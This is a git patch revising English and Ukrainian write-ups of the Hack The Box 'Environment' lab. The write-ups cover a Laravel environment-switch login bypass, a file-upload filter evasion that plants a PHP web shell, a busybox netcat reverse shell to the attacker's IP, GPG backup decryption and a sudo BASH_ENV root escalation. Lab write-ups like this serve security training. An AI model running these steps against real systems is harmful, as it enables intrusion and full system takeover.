From af6a25c919d27f1418f1db9b5b37340879143489 Mon Sep 17 00:00:00 2001 From: Amoel Elleoma Date: Sun, 14 Sep 2025 14:22:46 +0300 Subject: [PATCH] update writeup --- HTB/environment/en.md | 44 ++++++++++++++++----------- HTB/environment/ua.md | 71 ++++++++++++++++++++++++------------------- 2 files changed, 67 insertions(+), 48 deletions(-) diff --git a/HTB/environment/en.md b/HTB/environment/en.md index 598673b..33d67c6 100644 --- a/HTB/environment/en.md +++ b/HTB/environment/en.md @@ -53,7 +53,7 @@ echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d yJ)E5-GT+*R ``` -But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in Burp. +But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in BurpSuite. To fuzz for subdomains I'll use ffuf with wordlist from seclists: @@ -82,13 +82,13 @@ upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, D I found some interesting endpoints, like login, upload, storage, mailing. -Using Wappalyzer extension in browser I can check that website uses PHP and Laravel. +Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints -Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints: +That error page also reveals some internal backend codebase which means the application is running in **debug mode:** ![image](imgs/error-laravel.png) -That error page also reveals some internal backend codebase which means the application is running in **debug mode**. +Using Wappalyzer extension in browser I can confirm that website uses PHP and Laravel. ## Vulnerability Research & Exploitation @@ -98,11 +98,13 @@ But for now it seems useless, since our application is already in debugging stat Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target. -After playing with parameters on login endpoint, I was able to reveal some backend source code because application is in debug mode: +### Login endpoint + +If we'll modify any params in POST request body on `http://environment.htb/login` we'll get different errors depending on parameters that we changed: ![image](imgs/login-debug.png) -After removing any value from `remember` parameter in request body reveals some additional application environment, probably designed to be used by developers: +After removing any value from `remember` parameter in request body, backend reveals some additional application environment, `preprod` designed to be used by developer: ```php if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs @@ -112,9 +114,13 @@ if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/p } ``` -Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment and access endpoint (`/management/dashboard`) of the website we should not be able to. +### Backdoor that was left by the devs -By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can send such request to login endpoint to activate preprod environment: +Oopsie, seems like dev himself left backdoor for us! Thats very nice of them + +Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment to `preprod` and access endpoint (`/management/dashboard`) of the website we should not be able to. + +By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can add `?--env=preprod` as a parameter in the end of the login POST request to activate preprod environment: ```http POST /login?--env=preprod HTTP/1.1 @@ -135,7 +141,7 @@ Connection: keep-alive _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False ``` -After sending it in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard` +After sending request in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard` ![image](imgs/burp-preprod.png) @@ -151,10 +157,11 @@ Trying to upload a plain PHP shell won't work, because backend checks for 'magic So we need to find a way to bypass these checks and somehow upload a shell -## Shell upload +### Shell upload I will use this site with a variety of remote shells for different languages: https://www.revshells.com/ In this case, since the site runs on PHP, I chose the following: + ``` @@ -175,9 +182,9 @@ In this case, since the site runs on PHP, I chose the following: ``` -Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with PHP cmd shell inside and magic bytes in request to bypass MIME type checking. +Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with the dot in the end, PHP cmd shell inside and magic bytes in request to bypass MIME type checking. -To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and converted to the usual `index.gif.php`. +To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and gets converted to the usual `index.gif.php`. ```http POST /upload HTTP/1.1 @@ -241,14 +248,14 @@ Now we have RCE on the target. So to get fully functional reverse shell we need: rlwrap nc -lvnp 1337 ``` -2. On our uploaded PHP cmd shell send any reverse shell pointing to us: +2. On our uploaded PHP cmd shell send any reverse shell for linux system pointing to our IP: ```bash busybox nc 10.10.14.53 1337 -e sh ``` ![image](imgs/revshell.png) -3. I like to get a persistent interactive shell for reverse shell that won't drop connection after some time, so I'll use this set of commands to get one: +3. I like to get a persistent interactive shell that won't drop connection after some time, so I'll use this set of commands after getting reverse connection on our machine: ```bash # After getting a reverse connection on netcat python3 -c 'import pty; pty.spawn("/bin/bash")' @@ -276,7 +283,7 @@ hish:x:1000:1000:hish,,,:/home/hish:/bin/bash After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root: `www-data -> hish -> root` -### Recon as www-data +## Recon as www-data To get started we would need to check for any critical files that can contain information about hish password (like logs, databases). @@ -357,7 +364,7 @@ gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied because we don't have permission to create files as www-data user in /var/www. -So we'll need to copy keyvault.gpg and hish's .gnupg directory with their private keys to directory we have write permissions to. I'll use /tmp for this: +So we'll need to copy `keyvault.gpg` and hish's `.gnupg` directory with their private keys to directory we have write permissions to. I'll use `/tmp` for this: ```bash www-data@environment:$ cd /tmp @@ -404,6 +411,8 @@ We're in! First thing I check when I get a user on a system is to see what progr ## Root Privilege Escalation +Looing at `sudo -l` output we can see, that there's some `systeminfo` program that we can execute with root priviliges + That program is actually a simple bash script: ```bash @@ -428,7 +437,7 @@ echo -e "\n### Checking disk usage for all filesystems ###" df -h ``` -Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. It basically means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary. +Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. tl;dr it means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary. ### BASH_ENV @@ -459,4 +468,5 @@ root-bash-5.2# cat root.txt root-bash-5.2# ``` +Thats it We successfully got root shell on system! diff --git a/HTB/environment/ua.md b/HTB/environment/ua.md index bd202ca..8e99e3d 100644 --- a/HTB/environment/ua.md +++ b/HTB/environment/ua.md @@ -2,27 +2,26 @@ ## Про Environment -`Environment` — це машина Linux середньої складності. Початковий -пункт передбачає використання +`Environment` — це машина Linux середньої складності. Початкова експлуатація передбачає використання [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), що - дозволяє маніпулювати середовищем за допомогою параметра `--env`, обходячи + дозволяє маніпулювати середовищем веб додатку за допомогою параметра `--env`, обходячи функцію входу в систему. З панелі управління [CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) використовується -для завантаження веб-оболонки `PHP`, вбудованої в зображення профілю, -що дає гравцеві точку опори через виконання команд. На +для завантаження веб-шеллу `PHP`, вбудований в зображення профілю, +що дає атакуючому дочтуп до системи через виконання команд. На скомпрометованій системі можна знайти відкриті ключі `GPG` разом із зашифрованою резервною копією. Розшифровані дані містять дійсні паролі користувачів, що дає можливість доступу через `SSH`. Підвищення привілеїв досягається за допомогою дозволів sudo. Користувач може виконувати скрипт з підвищеними привілеями. Хоча сам скрипт є нешкідливим, змінна середовища `BASH_ENV` зберігається під час підвищення привілеїв, що -дозволяє виконувати довільні команди як root. +дозволяє виконувати довільні команди від користувача root. **Посилання на лабу:** https://app.hackthebox.com/machines/659 ## Початкове сканування -Перше, що я люблю робити, це сканувати ціль за допомогою nmap для відкритих портів і дізнатись, які технології використовує машина: +Перше, що я люблю робити - сканувати ціль за допомогою `nmap` для відкритих портів і дізнатись, які технології використовує машина: ```bash nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179 @@ -42,7 +41,7 @@ PORT STATE SERVICE REASON VERSION Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` -Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях для експлуатації поки що, бо для експлуатації цієї вразливості потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;) +Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях до експлуатації, бо для успішного виконання poc потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;) Наш таргет має доменне ім'я environment.htb, яке потрібно додати до нашого /etc/hosts файлу для доступу до порту 80. @@ -52,11 +51,11 @@ echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts ## Вебсайт на 80 порту -Після доступу до http://environment.htb/ ми потрапляємо на простий веб-сайт: +Після того як перейшли на http://environment.htb/ ми потрапляємо на простий сайт: ![image](imgs/environment.png "environment.htb") -Після вивчення веб-сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лаб. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64: +Після вивчення сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лабок. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64: ```html @@ -67,7 +66,7 @@ echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d yJ)E5-GT+*R ``` -Але нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite. +Але поки що нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite. Для фазингу субдоменів я використаю ffuf зі словником від seclists: @@ -94,15 +93,15 @@ vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 4 upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms] ``` -Я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing. +Тут я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing. -Використовуючи розширення Wappalyzer в браузері, я можу перевірити, що веб-сайт використовує PHP і Laravel. +Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів -Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів: +Ця сторінка помилки також розкриває деякий внутрішній код, що означає, що додаток працює в **режимі дебагу:** ![image](imgs/error-laravel.png) -Ця сторінка помилки також розкриває деякий внутрішній бекенд код, що означає, що додаток працює в **режимі дебагу**. +Використовуючи розширення Wappalyzer в браузері, я можу ппідтвердити, що веб-сайт використовує PHP і Laravel. ## Дослідження вразливостей і експлуатація @@ -110,13 +109,15 @@ upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, D Але поки що це здається марним, оскільки наш додаток уже в стані дебагу. -Також здається, що Laravel 11.30.0 вразливий до reflected XSS в режимі дебагу, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки. +Також здається, що Laravel 11.30.0 вразливий до reflected XSS (only in debug mode), [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки. -Після гри з параметрами на login ендпоінті, я зміг розкрити деякий вихідний код бекенду, тому що додаток в режимі дебагу: +### Гра з параметрами на login endpoint + +Якщо модифікувати на `http://environment.htb/login` параметри в тілі POST запиту можна отримати різні типи помилок залежно від параметрів, які ми змінюємо: ![image](imgs/login-debug.png) -Після видалення будь-якого значення з `remember` параметра в тілі запиту розкриває деяке додаткове середовище додатку, ймовірно призначене для використання розробниками: +Після видалення будь-якого значення з параметру `remember` в тілі запиту, бекенд розкриває деяке додаткове середовище додатку, `preprod`, призначене для використання розробниками: ```php if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs @@ -126,9 +127,13 @@ if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/p } ``` -Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу. +### Бекдор, який залишили самі розробники -Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо надіслати такий запит до login ендпоінту для активації preprod середовища: +Отакої, сам розробник залишив бекдор для нас! Дуже мило з його сторони! + +Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище на `preprod` і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу. + +Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо додати `?--env=preprod` в кінці POST запиту на login ендпоінт для активації preprod середовища: ```http POST /login?--env=preprod HTTP/1.1 @@ -149,7 +154,7 @@ Connection: keep-alive _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False ``` -Після відправлення його в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard` +Після відправлення запиту в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard` ![image](imgs/burp-preprod.png) @@ -165,10 +170,11 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at Тому нам потрібно знайти спосіб обійти ці перевірки і якось завантажити наш шелл. -## Завантаження php reverse shell +### Завантаження php reverse shell Я використаю цей сайт з різним набором віддалених шеллів під різні мови: https://www.revshells.com/ В даному випадку оскільки сайт працює на PHP, я вибрав собі такий: + ```php @@ -189,9 +195,9 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at ``` -Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME. +Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з крапкою в кінці, PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME. -Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на сервер-стороні й перетворюється на звичайний `index.gif.php` +Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на стороні серверу й перетворюється на звичайний `index.gif.php` ```http POST /upload HTTP/1.1 @@ -255,14 +261,14 @@ GIF87a rlwrap nc -lvnp 1337 ``` -2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш ip: +2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш IP: ```bash busybox nc 10.10.14.53 1337 -e sh ``` ![image](imgs/revshell.png) -3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд для його отримання: +3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд після отримання зворотнього з'єднання на нашій машинці: ```bash # Після отримання віддаленого з'єднання на netcat на нашій машині: python3 -c 'import pty; pty.spawn("/bin/bash")' @@ -290,7 +296,7 @@ hish:x:1000:1000:hish,,,:/home/hish:/bin/bash Після перегляду `/etc/passwd` (файл, що містить всіх користувачів, що існують в unix системах) ми можемо здогадатися, що нам потрібно буде отримати доступ до користувача hish, а потім експлуатувати наш шлях до root: `www-data -> hish -> root` -### Розвідка +## Перевірка файлів під www-data користувачем Для початку нам потрібно перевірити будь-які критичні файли, які можуть містити інформацію про пароль hish (такі як логи, бази даних). @@ -353,7 +359,7 @@ drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup -rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt ``` -Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але ми не зможемо просто це зробити використовуючи `gpg -d keyvault.gpg`: +Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але просто використовуючи `gpg -d keyvault.gpg` в нас не вийде: ```bash www-data@environment:/home/hish$ ls -la backup/ @@ -371,7 +377,7 @@ gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied тому що у нас немає дозволу створювати файли як користувач www-data в /var/www. -Тому нам потрібно скопіювати keyvault.gpg і .gnupg директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю /tmp для цього: +Тому нам потрібно скопіювати `keyvault.gpg` і `.gnupg` директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю `/tmp` для цього: ```bash www-data@environment:$ cd /tmp @@ -418,7 +424,9 @@ uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),3 ## Ескалація привілеїв root -Ця програма насправді простий bash скрипт: +Дивлячись на вивід команди `sudo -l`, можна побачити, що ми можемо запускати деяку програму `systeminfo` як користувач root + +Ця програма насправді простий самописаний bash скрипт: ```bash hish@environment:~$ cat /usr/bin/systeminfo @@ -442,7 +450,7 @@ echo -e "\n### Checking disk usage for all filesystems ###" df -h ``` -Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють як root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Це в основному означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник. +Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють з привілеями root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Якщо коротко, це означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник. ### BASH_ENV @@ -487,4 +495,5 @@ root-bash-5.2# cat root.txt root-bash-5.2# ``` +От і все! Ми успішно отримали root шел в системі!